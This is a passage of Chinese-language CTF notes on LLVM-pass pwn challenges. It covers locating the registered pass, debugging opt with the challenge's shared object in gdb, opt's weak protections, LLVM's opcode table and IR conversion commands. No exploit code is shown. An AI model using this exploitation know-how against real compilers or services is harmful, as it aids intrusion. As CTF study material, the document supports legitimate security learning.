至于PASS
注册的名称,一般会在README
文件中给出,若是没有给出,可通过对__cxa_atexit
函数“交叉引用”来定位:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int start () { int v1; int v2; if ( "VMPass" ) v2 = strlen ("VMPass" ); else v2 = 0 ; if ( "VMPass" ) v1 = strlen ("VMPass" ); else v1 = 0 ; sub_6510((unsigned int )&unk_20E990, (unsigned int )"VMPass" , v2, (unsigned int )"VMPass" , v1, 0 , 0 ); return __cxa_atexit(func, &unk_20E990, &off_20E548); }
gdb调试 一般调试对象都是题目给定的opt,调试的步骤一般是
gdb ./opt-8
进入调试
之后set args -load ./VMPass.so -VMPass ./exp.ll
配置参数
opt
会在一系列初始化函数(gdb调试非常明显的一大坨 )之后的第一个call映射so共享模块
1 2 3 4 0x7ffff3b5d000 0x7ffff3b6b000 r-xp e000 0 /home/aichch/pwn/redhat21-simpVM/VMPass.so 0x7ffff3b6b000 0x7ffff3d6a000 ---p 1ff000 e000 /home/aichch/pwn/redhat21-simpVM/VMPass.so 0x7ffff3d6a000 0x7ffff3d6b000 r--p 1000 d000 /home/aichch/pwn/redhat21-simpVM/VMPass.so 0x7ffff3d6b000 0x7ffff3d6c000 rw-p 1000 e000 /home/aichch/pwn/redhat21-simpVM/VMPass.so
在第一个地址起始处加上so中的偏移便能够下断点进行调试了
opt
是在llvm::legacy::PassManager::run(llvm::Module&)
处开始进行对RunonFunction
的调用
然后在其内部这个位置进入llvm::FPPassManager::runOnModule(llvm::Module&)
之后便正式进入llvm::FPPassManager::runOnFunction(llvm::Function&)
最后调用重写的RunOnFunction
opt llvm_pass类题目其其实就是针对opt
这个文件
利用so模块中注册的PASS类中的漏洞去pwn攻击opt进程
opt的保护一般都是这种情况
1 2 3 4 5 6 [*] '/home/aichch/pwn/qwb2022-yakagame/opt-8' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
opcode 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 #ifndef FIRST_TERM_INST #define FIRST_TERM_INST(num) #endif #ifndef HANDLE_TERM_INST #ifndef HANDLE_INST #define HANDLE_TERM_INST(num, opcode, Class) #else #define HANDLE_TERM_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class) #endif #endif #ifndef LAST_TERM_INST #define LAST_TERM_INST(num) #endif #ifndef FIRST_UNARY_INST #define FIRST_UNARY_INST(num) #endif #ifndef HANDLE_UNARY_INST #ifndef HANDLE_INST #define HANDLE_UNARY_INST(num, opcode, instclass) #else #define HANDLE_UNARY_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class) #endif #endif #ifndef LAST_UNARY_INST #define LAST_UNARY_INST(num) #endif #ifndef FIRST_BINARY_INST #define FIRST_BINARY_INST(num) #endif #ifndef HANDLE_BINARY_INST #ifndef HANDLE_INST #define HANDLE_BINARY_INST(num, opcode, instclass) #else #define HANDLE_BINARY_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class) #endif #endif #ifndef LAST_BINARY_INST #define LAST_BINARY_INST(num) #endif #ifndef FIRST_MEMORY_INST #define FIRST_MEMORY_INST(num) #endif #ifndef HANDLE_MEMORY_INST #ifndef HANDLE_INST #define HANDLE_MEMORY_INST(num, opcode, Class) #else #define HANDLE_MEMORY_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class) #endif #endif #ifndef LAST_MEMORY_INST #define LAST_MEMORY_INST(num) #endif #ifndef FIRST_CAST_INST #define FIRST_CAST_INST(num) #endif #ifndef HANDLE_CAST_INST #ifndef HANDLE_INST #define HANDLE_CAST_INST(num, opcode, Class) #else #define HANDLE_CAST_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class) #endif #endif #ifndef LAST_CAST_INST #define LAST_CAST_INST(num) #endif #ifndef FIRST_FUNCLETPAD_INST #define FIRST_FUNCLETPAD_INST(num) #endif #ifndef HANDLE_FUNCLETPAD_INST #ifndef HANDLE_INST #define HANDLE_FUNCLETPAD_INST(num, opcode, Class) #else #define HANDLE_FUNCLETPAD_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class) #endif #endif #ifndef LAST_FUNCLETPAD_INST #define LAST_FUNCLETPAD_INST(num) #endif #ifndef FIRST_OTHER_INST #define FIRST_OTHER_INST(num) #endif #ifndef HANDLE_OTHER_INST #ifndef HANDLE_INST #define HANDLE_OTHER_INST(num, opcode, Class) #else #define HANDLE_OTHER_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class) #endif #endif #ifndef LAST_OTHER_INST #define LAST_OTHER_INST(num) #endif #ifndef HANDLE_USER_INST #define HANDLE_USER_INST(num, opc, Class) HANDLE_OTHER_INST(num, opc, Class) #endif FIRST_TERM_INST ( 1 ) HANDLE_TERM_INST ( 1 , Ret , ReturnInst) HANDLE_TERM_INST ( 2 , Br , BranchInst) HANDLE_TERM_INST ( 3 , Switch , SwitchInst) HANDLE_TERM_INST ( 4 , IndirectBr , IndirectBrInst) HANDLE_TERM_INST ( 5 , Invoke , InvokeInst) HANDLE_TERM_INST ( 6 , Resume , ResumeInst) HANDLE_TERM_INST ( 7 , Unreachable , UnreachableInst) HANDLE_TERM_INST ( 8 , CleanupRet , CleanupReturnInst) HANDLE_TERM_INST ( 9 , CatchRet , CatchReturnInst) HANDLE_TERM_INST (10 , CatchSwitch , CatchSwitchInst) LAST_TERM_INST (10 ) FIRST_UNARY_INST(11 ) HANDLE_UNARY_INST(11 , FNeg , UnaryOperator) LAST_UNARY_INST(11 ) FIRST_BINARY_INST(12 ) HANDLE_BINARY_INST(12 , Add , BinaryOperator) HANDLE_BINARY_INST(13 , FAdd , BinaryOperator) HANDLE_BINARY_INST(14 , Sub , BinaryOperator) HANDLE_BINARY_INST(15 , FSub , BinaryOperator) HANDLE_BINARY_INST(16 , Mul , BinaryOperator) HANDLE_BINARY_INST(17 , FMul , BinaryOperator) HANDLE_BINARY_INST(18 , UDiv , BinaryOperator) HANDLE_BINARY_INST(19 , SDiv , BinaryOperator) HANDLE_BINARY_INST(20 , FDiv , BinaryOperator) HANDLE_BINARY_INST(21 , URem , BinaryOperator) HANDLE_BINARY_INST(22 , SRem , BinaryOperator) HANDLE_BINARY_INST(23 , FRem , BinaryOperator) HANDLE_BINARY_INST(24 , Shl , BinaryOperator) HANDLE_BINARY_INST(25 , LShr , BinaryOperator) HANDLE_BINARY_INST(26 , AShr , BinaryOperator) HANDLE_BINARY_INST(27 , And , BinaryOperator) HANDLE_BINARY_INST(28 , Or , BinaryOperator) HANDLE_BINARY_INST(29 , Xor , BinaryOperator) LAST_BINARY_INST(29 ) FIRST_MEMORY_INST(30 ) HANDLE_MEMORY_INST(30 , Alloca, AllocaInst) HANDLE_MEMORY_INST(31 , Load , LoadInst ) HANDLE_MEMORY_INST(32 , Store , StoreInst ) HANDLE_MEMORY_INST(33 , GetElementPtr, GetElementPtrInst) HANDLE_MEMORY_INST(34 , Fence , FenceInst ) HANDLE_MEMORY_INST(35 , AtomicCmpXchg , AtomicCmpXchgInst ) HANDLE_MEMORY_INST(36 , AtomicRMW , AtomicRMWInst ) LAST_MEMORY_INST(36 ) FIRST_CAST_INST(37 ) HANDLE_CAST_INST(37 , Trunc , TruncInst ) HANDLE_CAST_INST(38 , ZExt , ZExtInst ) HANDLE_CAST_INST(39 , SExt , SExtInst ) HANDLE_CAST_INST(40 , FPToUI , FPToUIInst ) HANDLE_CAST_INST(41 , FPToSI , FPToSIInst ) HANDLE_CAST_INST(42 , UIToFP , UIToFPInst ) HANDLE_CAST_INST(43 , SIToFP , SIToFPInst ) HANDLE_CAST_INST(44 , FPTrunc , FPTruncInst ) HANDLE_CAST_INST(45 , FPExt , FPExtInst ) HANDLE_CAST_INST(46 , PtrToInt, PtrToIntInst) HANDLE_CAST_INST(47 , IntToPtr, IntToPtrInst) HANDLE_CAST_INST(48 , BitCast , BitCastInst ) HANDLE_CAST_INST(49 , AddrSpaceCast, AddrSpaceCastInst) LAST_CAST_INST(49 ) FIRST_FUNCLETPAD_INST(50 ) HANDLE_FUNCLETPAD_INST(50 , CleanupPad, CleanupPadInst) HANDLE_FUNCLETPAD_INST(51 , CatchPad , CatchPadInst) LAST_FUNCLETPAD_INST(51 ) FIRST_OTHER_INST(52 ) HANDLE_OTHER_INST(52 , ICmp , ICmpInst ) HANDLE_OTHER_INST(53 , FCmp , FCmpInst ) HANDLE_OTHER_INST(54 , PHI , PHINode ) HANDLE_OTHER_INST(55 , Call , CallInst ) HANDLE_OTHER_INST(56 , Select , SelectInst ) HANDLE_USER_INST (57 , UserOp1, Instruction) HANDLE_USER_INST (58 , UserOp2, Instruction) HANDLE_OTHER_INST(59 , VAArg , VAArgInst ) HANDLE_OTHER_INST(60 , ExtractElement, ExtractElementInst) HANDLE_OTHER_INST(61 , InsertElement, InsertElementInst) HANDLE_OTHER_INST(62 , ShuffleVector, ShuffleVectorInst) HANDLE_OTHER_INST(63 , ExtractValue, ExtractValueInst) HANDLE_OTHER_INST(64 , InsertValue, InsertValueInst) HANDLE_OTHER_INST(65 , LandingPad, LandingPadInst) LAST_OTHER_INST(65 ) #undef FIRST_TERM_INST #undef HANDLE_TERM_INST #undef LAST_TERM_INST #undef FIRST_UNARY_INST #undef HANDLE_UNARY_INST #undef LAST_UNARY_INST #undef FIRST_BINARY_INST #undef HANDLE_BINARY_INST #undef LAST_BINARY_INST #undef FIRST_MEMORY_INST #undef HANDLE_MEMORY_INST #undef LAST_MEMORY_INST #undef FIRST_CAST_INST #undef HANDLE_CAST_INST #undef LAST_CAST_INST #undef FIRST_FUNCLETPAD_INST #undef HANDLE_FUNCLETPAD_INST #undef LAST_FUNCLETPAD_INST #undef FIRST_OTHER_INST #undef HANDLE_OTHER_INST #undef LAST_OTHER_INST #undef HANDLE_USER_INST #ifdef HANDLE_INST #undef HANDLE_INST #endif
格式转化 1 2 3 4 5 .c -> .ll:clang -emit-llvm -S a.c -o a.ll .c -> .bc: clang -emit-llvm -c a.c -o a.bc .ll -> .bc: llvm-as a.ll -o a.bc .bc -> .ll: llvm-dis a.bc -o a.ll .bc -> .s: llc a.bc -o a.s